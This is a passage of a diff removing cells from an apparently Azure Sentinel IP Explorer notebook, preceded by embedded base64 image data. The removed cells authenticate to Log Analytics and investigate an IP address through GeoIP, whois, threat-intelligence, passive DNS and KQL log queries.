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- } - }, - "cell_type": "markdown", - "metadata": {}, - "source": [ - "[Contents](#toc)\n", - "### IP Explorer Mindmap\n", - "Below mindmap diagram shows hunting workflow depending upon the type of IP address provided\n", - "\n", - "![ipexplorer-mindmapv2.PNG](attachment:ipexplorer-mindmapv2.PNG)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "---\n", - "### Notebook initialization\n", - "The next cell:\n", - "- Checks for the correct Python version\n", - "- Checks versions and optionally installs required packages\n", - "- Imports the required packages into the notebook\n", - "- Sets a number of configuration options.\n", - "\n", - "This should complete without errors. If you encounter errors or warnings look at the following two notebooks:\n", - "- [TroubleShootingNotebooks](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/TroubleShootingNotebooks.ipynb)\n", - "- [ConfiguringNotebookEnvironment](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb)\n", - "\n", - "If you are running in the Azure Sentinel Notebooks environment (Azure Notebooks or Azure ML) you can run live versions of these notebooks:\n", - "- [Run TroubleShootingNotebooks](./TroubleShootingNotebooks.ipynb)\n", - "- [Run ConfiguringNotebookEnvironment](./ConfiguringNotebookEnvironment.ipynb)\n", - "\n", - "You may also need to do some additional configuration to successfully use functions such as Threat Intelligence service lookup and Geo IP lookup. \n", - "There are more details about this in the `ConfiguringNotebookEnvironment` notebook and in these documents:\n", - "- [msticpy configuration](https://msticpy.readthedocs.io/en/latest/getting_started/msticpyconfig.html)\n", - "- [Threat intelligence provider configuration](https://msticpy.readthedocs.io/en/latest/data_acquisition/TIProviders.html#configuration-file)\n" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:01:51.949751Z", - "start_time": "2020-05-15T23:01:51.909753Z" - } - }, - "outputs": [], - "source": [ - "from pathlib import Path\n", - "import os\n", - "import sys\n", - "import warnings\n", - "from IPython.display import display, HTML, Markdown\n", - "\n", - "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(0, 5, 0)\n", - "\n", - "display(HTML(\"

Starting Notebook setup...

\"))\n", - "if Path(\"./utils/nb_check.py\").is_file():\n", - " from utils.nb_check import check_python_ver, check_mp_ver\n", - "\n", - " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n", - " try:\n", - " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", - " except ImportError:\n", - " !pip install --upgrade msticpy\n", - " if \"msticpy\" in sys.modules:\n", - " importlib.reload(msticpy)\n", - " else:\n", - " import msticpy\n", - " check_mp_ver(REQ_PYTHON_VER)\n", - " \n", - "\n", - "# If not using Azure Notebooks, install msticpy with\n", - "# !pip install msticpy\n", - "from msticpy.nbtools import nbinit\n", - "extra_imports = [\n", - " \"msticpy.nbtools.entityschema, IpAddress\",\n", - " \"msticpy.nbtools.entityschema, GeoLocation\",\n", - " \"msticpy.sectools.ip_utils, create_ip_record\",\n", - " \"msticpy.sectools.ip_utils, get_ip_type\",\n", - " \"msticpy.sectools.ip_utils, get_whois_info\",\n", - "]\n", - "nbinit.init_notebook(\n", - " namespace=globals(),\n", - " extra_imports=extra_imports,\n", - ");\n", - "WIDGET_DEFAULTS = {\n", - " \"layout\": widgets.Layout(width=\"95%\"),\n", - " \"style\": {\"description_width\": \"initial\"},\n", - "}" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "[Contents](#toc)\n", - "### Get WorkspaceId and Authenticate to Log Analytics \n", - "<details>\n", - "  Details...\n", - "If you are using user/device authentication, run the following cell. \n", - "- Click the 'Copy code to clipboard and authenticate' button.\n", - "- This will pop up an Azure Active Directory authentication dialog (in a new tab or browser window). The device code will have been copied to the clipboard. \n", - "- Select the text box and paste (Ctrl-V/Cmd-V) the copied value. \n", - "- You should then be redirected to a user authentication page where you should authenticate with a user account that has permission to query your Log Analytics workspace.\n", - "\n", - "Use the following syntax if you are authenticating using an Azure Active Directory AppId and Secret:\n", - "```\n", - "%kql loganalytics://tenant(aad_tenant).workspace(WORKSPACE_ID).clientid(client_id).clientsecret(client_secret)\n", - "```\n", - "instead of\n", - "```\n", - "%kql loganalytics://code().workspace(WORKSPACE_ID)\n", - "```\n", - "\n", - "Note: you may occasionally see a JavaScript error displayed at the end of the authentication - you can safely ignore this.
\n", - "On successful authentication you should see a ```popup schema``` button.\n", - "To find your Workspace Id go to [Log Analytics](https://ms.portal.azure.com/#blade/HubsExtension/Resources/resourceType/Microsoft.OperationalInsights%2Fworkspaces). Look at the workspace properties to find the ID.\n", - "</details>" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:02:52.662562Z", - "start_time": "2020-05-15T23:02:52.653563Z" - } - }, - "outputs": [], - "source": [ - "#See if we have an Azure Sentinel Workspace defined in our config file, if not let the user specify Workspace and Tenant IDs\n", - "from msticpy.nbtools.wsconfig import WorkspaceConfig\n", - "ws_config = WorkspaceConfig()\n", - "try:\n", - " ws_id = ws_config['workspace_id']\n", - " ten_id = ws_config['tenant_id']\n", - " config = True\n", - " md(\"Workspace details collected from config file\")\n", - "except KeyError:\n", - " md(('Please go to your Log Analytics workspace, copy the workspace ID'\n", - " ' and/or tenant Id and paste here to enable connection to the workspace and querying of it..
'))\n", - " ws_id_wgt = nbwidgets.GetEnvironmentKey(env_var='WORKSPACE_ID',\n", - " prompt='Please enter your Log Analytics Workspace Id:', auto_display=True)\n", - " ten_id_wgt = nbwidgets.GetEnvironmentKey(env_var='TENANT_ID',\n", - " prompt='Please enter your Log Analytics Tenant Id:', auto_display=True)\n", - " config = False" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:03:22.552179Z", - "start_time": "2020-05-15T23:02:56.043852Z" - } - }, - "outputs": [], - "source": [ - "# Authentication\n", - "qry_prov = QueryProvider(data_environment=\"LogAnalytics\")\n", - "qry_prov.connect(connection_str=ws_config.code_connect_str)\n", - "table_index = qry_prov.schema_tables" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "[Contents](#toc)\n", - "## Enter the IP Address and query time window\n", - "\n", - "Type the IP address you want to search for and the time bounds over which search.\n", - "\n", - "You can specify the IP address value in the widget e.g. 192.168.1.1" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:03:22.632179Z", - "start_time": "2020-05-15T23:03:22.619179Z" - } - }, - "outputs": [], - "source": [ - "ipaddr_text = widgets.Text(\n", - " description=\"Enter the IP Address to search for:\", **WIDGET_DEFAULTS\n", - ")\n", - "display(ipaddr_text)" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:03:56.698491Z", - "start_time": "2020-05-15T23:03:56.631491Z" - } - }, - "outputs": [], - "source": [ - "query_times = nbwidgets.QueryTime(units=\"day\", max_before=20, before=5, max_after=7)\n", - "query_times.display()" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:04:05.784278Z", - "start_time": "2020-05-15T23:04:05.776278Z" - } - }, - "outputs": [], - "source": [ - "# Set up function to allow easy reference to common parameters for queries throughout the notebook\n", - "def ipaddr_query_params():\n", - " return {\n", - " \"start\": query_times.start,\n", - " \"end\": query_times.end,\n", - " \"ip_address\": ipaddr_text.value.strip()\n", - " }" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "[Contents](#toc)\n", - "## Detemine IP Address Type" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:04:47.927548Z", - "start_time": "2020-05-15T23:04:43.963316Z" - } - }, - "outputs": [], - "source": [ - "ipaddr_type = get_ip_type(ipaddr_query_params()['ip_address'])\n", - "\n", - "md(f'Depending on the IP Address origin, different sections of this notebook are applicable', styles=[\"bold\", \"large\"])\n", - "md(f'Please follow either the Interal IP Address or External IP Address sections based on below Recommendation', styles=[\"bold\"])\n", - "\n", - "#Get details from Heartbeat table for the given IP Address and Time Parameters\n", - "heartbeat_df = qry_prov.Heartbeat.get_info_by_ipaddress(**ipaddr_query_params())\n", - "\n", - "# Set hostnames retrived from Heartbeat table if available\n", - "if not heartbeat_df.empty:\n", - " hostname = heartbeat_df[\"Computer\"][0]\n", - "else:\n", - " hostname = \"\"\n", - " \n", - "if not heartbeat_df.empty:\n", - " ipaddr_origin = \"Internal\"\n", - " md(f'IP Address type based on subnet: {ipaddr_type} & IP Address Owner based on available logs : {ipaddr_origin}', styles=[\"blue\",\"bold\"])\n", - " display(Markdown('#### Recommendation - Go to section [InternalIP](#goto_internalIP)'))\n", - "elif ipaddr_type==\"Private\" and heartbeat_df.empty:\n", - " ipaddr_origin = \"Unknown\"\n", - " md(f'IP Address type based on subnet: {ipaddr_type} & IP Address Owner based on available logs : {ipaddr_origin}', styles=[\"blue\",\"bold\"])\n", - " display(Markdown('#### Recommendation - Go to section [InternalIP](#goto_internalIP)'))\n", - "else:\n", - " ipaddr_origin = \"External\"\n", - " md(f'IP Address type based on subnet: {ipaddr_type} & IP Address Owner based on available logs : {ipaddr_origin}', styles=[\"blue\",\"bold\"])\n", - " display(Markdown('#### Recommendation - Go to section [ExternalIP](#goto_externalIP)'))\n", - " \n", - "#Populate related IP addresses for the calculated hostname\n", - "az_net_df = pd.DataFrame()\n", - "if \"AzureNetworkAnalytics_CL\" in table_index:\n", - " aznet_query = f\"\"\"\n", - " AzureNetworkAnalytics_CL | where ResourceType == 'NetworkInterface' \n", - " | where SubType_s == \"Topology\" \n", - " | search \\'{ipaddr_text.value}\\' \n", - " | where TimeGenerated >= datetime({query_times.start}) \n", - " | where TimeGenerated <= datetime({query_times.end}) \n", - " | where VirtualMachine_s has '{hostname}' \n", - " | top 1 by TimeGenerated desc \n", - " | project PrivateIPAddresses = PrivateIPAddresses_s, PublicIPAddresses = PublicIPAddresses_s\"\"\"\n", - " az_net_df = qry_prov.exec_query(query=aznet_query)\n", - " \n", - "# Create IP Entity record using available dataframes or input ip address if nothing present\n", - "if az_net_df.empty and heartbeat_df.empty:\n", - " ip_entity = IpAddress()\n", - " ip_entity['Address'] = ipaddr_query_params()['ip_address']\n", - " ip_entity['Type'] = 'ipaddress'\n", - " ip_entity['OSType'] = 'Unknown'\n", - " md('No Heartbeat Data and Network topology data found')\n", - "elif not heartbeat_df.empty:\n", - " if az_net_df.empty:\n", - " ip_entity = create_ip_record(\n", - " heartbeat_df=heartbeat_df)\n", - " else:\n", - " ip_entity = create_ip_record(\n", - " heartbeat_df=heartbeat_df, az_net_df=az_net_df)\n", - "#Display IP Entity\n", - "md(\"Displaying IP Entity\", styles=[\"green\",\"bold\"])\n", - "print(ip_entity)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "\n", - "## External IP" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "[Contents](#toc)\n", - "### GeoIP Lookups for External IP Addresses" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-04-27T08:33:37.478812Z", - "start_time": "2020-04-27T08:33:37.470173Z" - } - }, - "outputs": [], - "source": [ - "# msticpy- geoip module to retrieving Geo Location for Public IP addresses\n", - "# To force Threatinel lookup for Internal public IP, replace and with or in if condition\n", - "if ipaddr_type == \"Public\" and ipaddr_origin == \"External\" :\n", - " iplocation = GeoLiteLookup()\n", - "\n", - " loc_results, ext_ip_entity = iplocation.lookup_ip(ip_address=ipaddr_query_params()['ip_address'])\n", - " md(\n", - " 'Geo Location for the IP Address ::', styles=[\"bold\",\"green\"]\n", - " )\n", - " print(ext_ip_entity[0])\n", - "else:\n", - " md(f'Analysis section Not Applicable since IP address owner is {ipaddr_origin}', styles=[\"bold\",\"red\"])" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "[Contents](#toc)\n", - "### Whois Registrars for External IP Addresses" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-04-27T08:33:39.572115Z", - "start_time": "2020-04-27T08:33:39.566009Z" - } - }, - "outputs": [], - "source": [ - "# ipwhois module to retrieve whois registrar for Public IP addresses\n", - "# To force Threatinel lookup for Internal public IP, replace and with or in if condition\n", - "if ipaddr_type == \"Public\" and ipaddr_origin == \"External\" :\n", - " from ipwhois import IPWhois\n", - "\n", - " whois = IPWhois(ipaddr_query_params()['ip_address'])\n", - " whois_result = whois.lookup_whois()\n", - " if whois_result:\n", - " md(f'Whois Registrar Info ::', styles=[\"bold\",\"green\"])\n", - " display(whois_result)\n", - " else:\n", - " md(\n", - " f'No whois records available', styles=[\"bold\",\"orange\"]\n", - " )\n", - "else:\n", - " md(f'Analysis section Not Applicable since IP address owner is {ipaddr_origin}', styles=[\"bold\",\"red\"])" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "[Contents](#toc)\n", - "### Opensource and Azure Sentinel ThreatIntel Lookups" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "#### Configure your TI Provider settings\n", - "If you have not used threat intelligence lookups before you will need to supply API keys for the \n", - "TI Providers that you want to use. Please see the section on configuring [msticpyconfig.yaml](#msticpyconfig.yaml-configuration-File)\n", - "\n", - "Then reload provider settings:\n", - "```\n", - "mylookup = TILookup()\n", - "mylookup.reload_provider_settings()\n", - "```" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-04-27T08:33:43.562087Z", - "start_time": "2020-04-27T08:33:43.554830Z" - }, - "scrolled": true - }, - "outputs": [], - "source": [ - "# To force Threatinel lookup for Internal public IP, replace and with or in if condition\n", - "if ipaddr_type == \"Public\" and ipaddr_origin == \"External\" :\n", - " mylookup = TILookup()\n", - " mylookup.loaded_providers\n", - " resp = mylookup.lookup_ioc(observable=ipaddr_query_params()['ip_address'], ioc_type=\"ipv4\")\n", - " md(f'ThreatIntel Lookup for IP ::', styles=[\"bold\",\"green\"])\n", - " display(mylookup.result_to_df(resp).T)\n", - "else:\n", - " md(f'Analysis section Not Applicable since IP address owner is {ipaddr_origin}', styles=[\"bold\",\"red\"])" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "[Contents](#toc)\n", - "### Passive DNS lookups for External IP Addresses" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-04-27T08:33:45.838706Z", - "start_time": "2020-04-27T08:33:45.829919Z" - } - }, - "outputs": [], - "source": [ - "# To force Passive DNS lookup for Internal public IP, change and with or in if\n", - "if ipaddr_type == \"Public\" and ipaddr_origin == \"External\" :\n", - " # retrieve passive dns from TI Providers\n", - " pdns = mylookup.lookup_ioc(\n", - " observable=ipaddr_query_params()['ip_address'],\n", - " ioc_type=\"ipv4\",\n", - " ioc_query_type=\"passivedns\",\n", - " providers=[\"XForce\"],\n", - " )\n", - " pdns_df = mylookup.result_to_df(pdns)\n", - " if not pdns_df.empty and pdns_df[\"RawResult\"][0] and \"RDNS\" in pdns_df[\"RawResult\"][0]:\n", - " pdnsdomains = pdns_df[\"RawResult\"][0][\"RDNS\"]\n", - " md(\n", - " 'Passive DNS domains for IP: {pdnsdomains}',styles=[\"bold\",\"green\"]\n", - " )\n", - " display(mylookup.result_to_df(pdns).T)\n", - " else:\n", - " md(\n", - " 'No passive domains found from the providers', styles=[\"bold\",\"orange\"]\n", - " )\n", - "else:\n", - " md(f'Analysis section Not Applicable since IP address owner is {ipaddr_origin}', styles=[\"bold\",\"red\"])" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "\n", - "## Internal IP Address" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "[Contents](#toc)\n", - "### Data Sources available to query related to IP" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:04:59.773853Z", - "start_time": "2020-05-15T23:04:53.039482Z" - } - }, - "outputs": [], - "source": [ - "if ipaddr_origin in [\"Internal\",\"Unknown\"]:\n", - " # KQL query for full text search of IP address and display all datatypes populated for the time period\n", - " datasource_status = \"\"\"\n", - " search \\'{ip_address}\\' or \\'{hostname}\\'\n", - " | where TimeGenerated >= datetime({start}) and TimeGenerated <= datetime({end})\n", - " | summarize RowCount=count() by Table=$table\n", - " \"\"\".format(\n", - " **ipaddr_query_params(), hostname=hostname\n", - " )\n", - " %kql -query datasource_status\n", - " datasource_status_df = _kql_raw_result_.to_dataframe()\n", - "\n", - " # Display result as transposed matrix of datatypes availabel to query for the query period\n", - " if not datasource_status_df.empty:\n", - " available_datasets = datasource_status_df['Table'].values\n", - " md(\"Datasources available to query for IP ::\", styles=[\"green\",\"bold\"])\n", - " display(datasource_status_df)\n", - " else:\n", - " md_warn(\"No datasources contain given IP address for the query period\")\n", - "else:\n", - " md(f'Analysis section Not Applicable since IP address type is: {ipaddr_type}', styles=[\"bold\",\"red\"])" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "[Contents](#toc)\n", - "### Check if IP is assigned to multiple hostnames" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:05:03.895367Z", - "start_time": "2020-05-15T23:05:02.486243Z" - } - }, - "outputs": [], - "source": [ - "if ipaddr_origin == \"Internal\" or not datasource_status_df.empty:\n", - " # Get single event - try process creation\n", - " if ip_entity['OSType'] =='Windows':\n", - " if \"SecurityEvent\" not in available_datasets:\n", - " raise ValueError(\"No Windows event log data available in the workspace\")\n", - " host_name = None\n", - " matching_hosts_df = qry_prov.WindowsSecurity.list_host_processes(\n", - " query_times, host_name=hostname, add_query_items=\"| distinct Computer\"\n", - " )\n", - " elif ip_entity['OSType'] =='Linux':\n", - " if \"Syslog\" not in available_datasets:\n", - " raise ValueError(\"No Linux syslog data available in the workspace\")\n", - " else:\n", - " linux_syslog_query = f\"\"\" Syslog | where TimeGenerated >= datetime({query_times.start}) | where TimeGenerated <= datetime({query_times.end}) | where HostIP == '{ipaddr_text.value}' | distinct Computer \"\"\"\n", - " matching_hosts_df = qry_prov.exec_query(query=linux_syslog_query)\n", - "\n", - " if len(matching_hosts_df) > 1:\n", - " 